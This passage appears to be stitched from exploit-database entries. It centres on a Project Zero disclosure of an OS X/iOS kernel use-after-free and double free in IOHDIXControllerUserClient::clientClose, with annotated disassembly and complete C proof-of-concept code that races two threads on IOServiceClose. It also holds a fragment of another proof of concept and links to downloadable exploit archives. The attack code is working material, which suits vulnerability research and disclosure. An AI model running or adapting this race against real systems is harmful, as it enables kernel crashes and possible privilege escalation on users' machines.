  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  usleep(100000);

  start = 1;

  exit_it(iter);

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=599

OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose

Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:

__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38                 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38                                         ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38                 push    rbp
__text:0000000000005B39                 mov     rbp, rsp
__text:0000000000005B3C                 push    rbx
__text:0000000000005B3D                 push    rax
__text:0000000000005B3E                 mov     rbx, rdi
__text:0000000000005B41                 mov     rax, [rbx]
__text:0000000000005B44                 xor     esi, esi
__text:0000000000005B46                 call    qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C                 mov     qword ptr [rbx+208h], 0
__text:0000000000005B57                 mov     qword ptr [rbx+1F8h], 0
__text:0000000000005B62                 mov     rdi, [rbx+200h]              ; <-- this+0x200           --+
__text:0000000000005B69                 call    _vfs_context_rele            ; pass to vfs_context_rele   +- should be locked!
__text:0000000000005B6E                 mov     qword ptr [rbx+200h], 0      ; NULL out this+0x200      --+
__text:0000000000005B79                 xor     eax, eax
__text:0000000000005B7B                 add     rsp, 8
__text:0000000000005B7F                 pop     rbx
__text:0000000000005B80                 pop     rbp
__text:0000000000005B81                 retn

At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:

int
vfs_context_rele(vfs_context_t ctx)
{
  if (ctx) {
    if (IS_VALID_CRED(ctx->vc_ucred))
      kauth_cred_unref(&ctx->vc_ucred);
    kfree(ctx, sizeof(struct vfs_context));
  }
  return(0);
}

This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;

Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.

This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. 

Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
*/

// ianbeer

// clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit
/*
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose

Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:

__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38                 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38                                         ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38                 push    rbp
__text:0000000000005B39                 mov     rbp, rsp
__text:0000000000005B3C                 push    rbx
__text:0000000000005B3D                 push    rax
__text:0000000000005B3E                 mov     rbx, rdi
__text:0000000000005B41                 mov     rax, [rbx]
__text:0000000000005B44                 xor     esi, esi
__text:0000000000005B46                 call    qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C                 mov     qword ptr [rbx+208h], 0
__text:0000000000005B57                 mov     qword ptr [rbx+1F8h], 0
__text:0000000000005B62                 mov     rdi, [rbx+200h]              ; <-- this+0x200           --+
__text:0000000000005B69                 call    _vfs_context_rele            ; pass to vfs_context_rele   +- should be locked!
__text:0000000000005B6E                 mov     qword ptr [rbx+200h], 0      ; NULL out this+0x200      --+
__text:0000000000005B79                 xor     eax, eax
__text:0000000000005B7B                 add     rsp, 8
__text:0000000000005B7F                 pop     rbx
__text:0000000000005B80                 pop     rbp
__text:0000000000005B81                 retn

At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:

int
vfs_context_rele(vfs_context_t ctx)
{
  if (ctx) {
    if (IS_VALID_CRED(ctx->vc_ucred))
      kauth_cred_unref(&ctx->vc_ucred);
    kfree(ctx, sizeof(struct vfs_context));
  }
  return(0);
}

This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;

Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.

This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. 

Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_closehdix; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

void close_it(io_connect_t conn) {
  IOServiceClose(conn);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  close_it(*(io_connect_t*)arg);
}

int main(int argc, char** argv) {
  char* service_name = "IOHDIXController";
  int client_type = 0;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  io_connect_t arg = conn;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  usleep(100000);

  start = 1;

  close_it(conn);

  pthread_join(t, NULL);

  return 0;
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=603

Panic log attached

OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39364.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=604

Panic log attached

OS X advisory: https://support.apple.com/en-us/HT205731
iOS advisory: https://support.apple.com/en-us/HT205732


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39363.zip